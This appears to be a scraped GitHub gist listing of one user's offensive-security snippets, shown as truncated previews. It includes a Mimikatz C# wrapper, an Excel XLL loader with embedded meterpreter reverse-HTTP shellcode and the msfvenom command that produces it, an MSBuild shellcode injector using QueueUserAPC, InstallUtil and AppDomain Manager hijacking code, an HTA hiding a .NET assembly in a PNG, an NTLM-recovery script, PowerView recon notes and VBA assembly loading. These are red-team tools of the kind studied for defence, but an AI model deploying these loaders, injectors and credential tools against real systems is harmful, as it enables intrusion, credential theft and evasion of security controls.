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Dwight Hohnstein djhohnstein

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djhohnstein / katz.cs
Created April 8, 2019 13:31
Updated Katz.cs - Latest Mimikatz, I mean honestly it is 2018...
This file has been truncated, but you can view the full file.
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
/*
@djhohnstein
djhohnstein / shellcode_ExcelRegisterXLL.c
Created April 9, 2019 21:00 — forked from Arno0x/shellcode_ExcelRegisterXLL.c
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
unsigned char b[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
@djhohnstein
djhohnstein / deskey_to_ntlm.py
Created April 17, 2019 13:45 — forked from coldfusion39/deskey_to_ntlm.py
Retrieve the NTLM from a captured NetNTLMv1 session
#!/usr/bin/env python
# Copyright (c) 2017, Brandan Geise [coldfusion]
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
@djhohnstein
djhohnstein / msbuildQueueAPC.csproj
Created May 1, 2019 19:43 — forked from vector-sec/msbuildQueueAPC.csproj
MSBuild => CSC.exe Shellcode Inject using QueueUserAPC
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<-- x86 -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
<!- x64 -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
@djhohnstein
djhohnstein / gethelp.cs
Created May 13, 2019 16:50
Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@djhohnstein
djhohnstein / honeybadger.hta
Created May 24, 2019 04:43
HoneyBadger PNG - .NET Assembly Bypass
<html>
<img id="HoneyBadger" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAKtCAIAAAA2LYveAAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AAovrklEQVR42ty9i5bjSJIsFgGAZGZWVnX1vFa60tmj/z/6CR19ymp1R3dmerrrkZl8ACFztwiH40kwM6tnJW5PLZMEgXghYO5ubh7/z//jfw8hxOELn1RVFeZedZBvU0r2iX8/ffFs09fSr6qY1o+fXLqz9/yK/3ZdZ+8H/3Yn+9NeK5eIYTfbWfbLfm7dvHQt39tI2ldx8uL5l8Z/cFg5Cfu1MBRz81Kt9W7uPNG3x/d0dl7asDb76/M4bfP0yLbM49Jho3a2C+ttaR0uvTDO/if9RLcd3nT6Gk3c7Hl27vM4eT9dnzzlaApWzhAXzs8/67qu9GVfHbt73Nl1HSv8l7q2O3btpW3P6A5WirShi2WkZQdomtPsDdK27agB/PZY53VbxUav3OjVK/7ZNHv8o8s+H3Zpa54BDcA5bXnjYH9z8b1OyvPlcsF7fti2id3UraPe6atpGn6FI4/P3/EnD8D5tUfywq9affFU1oUmHvNC0hdbUsurmV9XOhQ8Unpdc6m0bD+6Jf/Grp/xC4elYpfxwsHlXN1wPejnqSlLBWfBDFW4QVOsOu7DEbPI3kXsPDjb8dxyQPDv+Xw+nS7YsXe7g05nbJrdfr9v6n3u/uXy9PKNS/3u7u5wOKCvGDR88/z8HEOtUyYvncQaDau6c3kSVFxdsmGkqk3dk77w+ePj44cPH5qd7JzpdNQ+5hfOjFbhX1xOxrSRUcUnuNzxeMSlcSg+5ySi
@djhohnstein
djhohnstein / MyAppDomainManager.cs
Created May 30, 2019 17:21
AppDomain Manager Hijacking
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
@djhohnstein
djhohnstein / Tasks.cs
Created July 25, 2019 16:27
.NET Fun
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
@djhohnstein
djhohnstein / PowerView-3.0-tricks.ps1
Created September 10, 2019 15:31 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@djhohnstein
djhohnstein / mscorlib_load_assembly.vba
Created September 30, 2019 18:43 — forked from monoxgas/mscorlib_load_assembly.vba
VBA code for calling Assembly.Load using raw vtable lookups for the IUnknown
' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb
Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr
#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&